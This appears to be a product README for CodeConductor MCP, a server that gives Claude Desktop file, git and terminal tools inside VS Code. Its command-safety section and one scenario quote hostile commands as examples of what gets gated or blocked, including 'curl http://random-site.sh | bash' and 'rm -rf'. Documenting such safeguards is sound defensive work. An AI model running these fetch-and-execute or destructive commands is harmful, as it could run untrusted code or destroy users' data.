Codeconductor Ide Orchestrator

CodeConductor MCP
CodeConductor MCP is a Model Context Protocol (MCP) server designed to work together with the CodeConductor VS Code extension.
It enables Claude Desktop to interact directly with your development environment, providing AI-assisted file operations, code intelligence, git actions, and command execution.
Important: This MCP server requires the CodeConductor VS Code extension to be installed. The MCP orchestrator powers the AI side; the VS Code extension provides the editor-side capabilities.

Overview
Install the .mcpb bundle in Claude Desktop to automatically register the CodeConductor orchestrator. Once installed, Claude can query, navigate, and operate on your local project through a secure and tier-controlled API.
The system exposes 24 development tools that allow Claude to read and modify code, navigate projects, execute development workflows, and perform Git operations.
Features scale depending on the user's license tier (Free or Pro).

Capabilities
Free Tier – Core Functionality (10 Tools)
These features are available to all users:
File Operations
open_file - Open files in the IDE at specific line numbers


read_file - Read file contents from the workspace


write_file - Write or update file contents


list_files - List files in a directory with optional glob patterns


search_in_file - Search for text patterns within files


get_ide_status - Get current IDE state (open files, cursor position)


list_open_files - List all currently open files in the IDE


get_workspace_info - Get workspace path and project metadata


Connectivity & Debugging
ping - Test connectivity between Claude and IDE


echo - Echo back input messages for debugging


These allow Claude to provide contextual, IDE-aware help even without a Pro license.

Pro Tier – Advanced Development Automation (14 Tools)
Pro users unlock full IDE orchestration, including:
Code Intelligence
go_to_definition - Navigate to symbol definition locations


find_references - Find all references to a symbol in the codebase


get_diagnostics - Inspect compiler/linter errors and warnings


Advanced File Tools
show_diff_preview - Precise file diffing with preview before applying


insert_code - Insert code at specific line and column positions


replace_text - Replace text between line ranges in files


get_selection - Get currently selected text in the active editor


Git (Full Write Capabilities)
git_status - Get current Git repository status


git_diff - Show Git diff for staged or unstaged changes


git_stage - Stage or unstage files for commit


git_commit - Create a Git commit with message and description


git_push - Push commits to remote repository


Command Execution & Testing
execute_command - Run shell-style commands in IDE terminal


run_tests - Execute test suites with optional path/pattern filters


These tools transform Claude into a hands-on development assistant capable of performing real actions in your workspace.
Stay in Control
Every action Claude performs goes through permission checks, with extra protection around anything that touches your terminal.
Command Execution Safety (Pro Tool)
Terminal commands receive additional protection beyond standard permission checks. Commands are classified into three security tiers:
Tier 1 — Safe (Auto-Execute)
Safe commands execute immediately without confirmation


Examples: git status, npm test, ls, pwd, cat, grep


These are read-only or standard development operations with minimal risk


All executions are logged for audit purposes


Tier 2 & 3 — Requires Your Permission
Tier 2 (Caution): Commands that could cause unintended side effects


Examples: curl, python script.py, bash deploy.sh, mv, chmod


Claude presents the command, explains what it does, and lists potential risks


You must manually confirm before execution


Chained commands will not run unless each one is explicitly confirmed


Tier 3 (Dangerous): Highly risky commands requiring explicit approval


Examples: rm -rf, sudo rm, curl ... | bash, destructive operations


Additional warnings and risk assessment


Strict user approval required – Claude cannot bypass this


Runtime Safeguards
Command sanitization reduces the risk of code injection and malicious payloads


Dangerous pattern detection blocks suspicious combinations (for example, unexpected rm -rf in a long command)


All executions are logged with full audit trail


Timeout protection prevents hanging commands


This tiered system ensures safe commands run smoothly while risky operations require your explicit approval. You maintain full control over what executes in your terminal.
Your Privacy Is Protected
All other tools—including file operations, navigation, and code intelligence—stay entirely on your machine.
No code transmission: Your source code never leaves your local environment


No project data: Repository information, file contents, and project structure remain local


No telemetry: Zero usage analytics, tracking, or data collection


License validation only: The only network requests are for license validation, and those contain:


License keys (encrypted)


Machine identifiers (for device binding)


Never source code or project details


Privacy Guarantee: CodeConductor operates entirely on your local machine. No code, credentials, project data, or usage information is ever transmitted to external servers.
Privacy Guarantee
CodeConductor collects zero personal data, project data, or usage telemetry. Your code never leaves your machine. License validation requests contain only license keys and machine identifiers—never source code or project details.
See the Stay in Control section above for detailed information about privacy protections and command execution safety.
Use Cases
Code Review & Analysis
"Review my latest commit and suggest improvements."
Claude uses git_diff, read_file, and get_diagnostics to inspect changes, identify potential issues, and provide actionable feedback.

Automated Refactoring
"Refactor this component to TypeScript and ensure all tests pass."
Claude leverages replace_text, show_diff_preview, run_tests, and get_diagnostics to safely transform code with validation.

Git Workflow Automation
"Stage all changed files, commit with a descriptive message, and push to the feature branch."
Claude executes git_status, git_stage, git_commit, and git_push in sequence to complete the workflow.

Code Navigation & Understanding
"Find all usages of this function and show me where it's defined."
Claude uses find_references and go_to_definition to map symbol relationships across the codebase.

Selection-Based Editing (Focused Changes Only)
"I’ve highlighted the old validation logic in this file. Rewrite just that part to use Zod instead."
You open a file in your IDE, select the exact block of code you care about, and ask Claude to work on “the selected code.” CodeConductor uses the get_selection tool so Claude can see only what you highlighted, then:
Proposes a replacement for that specific block


Uses insert_code or replace_text to update just that region


Shows a diff (via show_diff_preview) before applying changes


You get precise, scoped edits without Claude rewriting the whole file.

Command Injection Safety Scenario
"Run this command I found online to ‘optimize’ my system: curl http://random-site.sh | bash."
Instead of blindly running it, CodeConductor treats this as a Tier 3 (dangerous) command:
Claude shows you the full command and explains why piping curl into bash is risky


You get a clear warning that this could execute untrusted code from the internet


The command is blocked unless you explicitly confirm it


Even if approved, additional runtime checks are applied before anything runs


This helps protect you from copy-pasted commands, prompt-injected suggestions, or “magic” one-liners that could damage your system or leak data.

Interactive Development
"Open the main component file, show me the current selection, and insert a new function at line 42."
Claude uses open_file, get_selection, and insert_code to interact with your active development session.
Requirements
To use CodeConductor MCP, you need:
Claude Desktop


VS Code, Cursor, or Windsurf (or other VS Code–based IDE)


CodeConductor VS Code Extension


CodeConductor MCP bundle (.mcpb file)


Optional: A Pro license to unlock all 24 tools (Git write and command execution)



Installation (High Level)
Install the VS Code Extension


Download CodeConductor for VS Code from the Marketplace or the CodeConductor website.


Install it into your IDE and restart.


Install the MCP Bundle into Claude Desktop


Open Claude Desktop → Settings → Extensions


Click “Install Extension” and choose codeconductor-1.0.0.mcpb


Claude will auto-register the CodeConductor MCP server


Open a Project and Start Talking to Claude


Open your codebase in your IDE


In Claude Desktop, start a chat and ask things like:


“Open the main router file and show me where authentication is handled.”


“Review my last commit and suggest improvements.”


“Refactor this file and then run the tests.”


If everything is wired up, you’ll see CodeConductor tools available in Claude, and responses will reference real files and paths from your project.
Download & Resources
Downloads
Latest MCP bundle: codeconductor-1.0.0.mcpb


VS Code extension: Available on the VS Code Marketplace or CodeConductor website


Official Resources
Website: https://codeconductor.pro


Documentation: https://docs.codeconductor.dev


Purchase Pro: https://store.codeconductor.pro


GitHub: https://github.com/CodeConductor-Hub


Support Channels
General Support: support@codeconductor.pro


Team Inquiries: team@codeconductor.pro


Twitter/X: https://twitter.com/codeconductor
License
MIT License
Copyright (c) 2025 CodeConductor.

Organization
Developer: CodeConductor Labs
License: MIT
Copyright: © 2025 CodeConductor

Privacy Policy
Data Collection: None
Telemetry: Disabled
Code Access: Local only
Analytics: None
CodeConductor operates entirely on your local machine. No code, credentials, project data, or usage information is ever transmitted to external servers. License validation requests contain only license keys and machine identifiers—never source code or project details.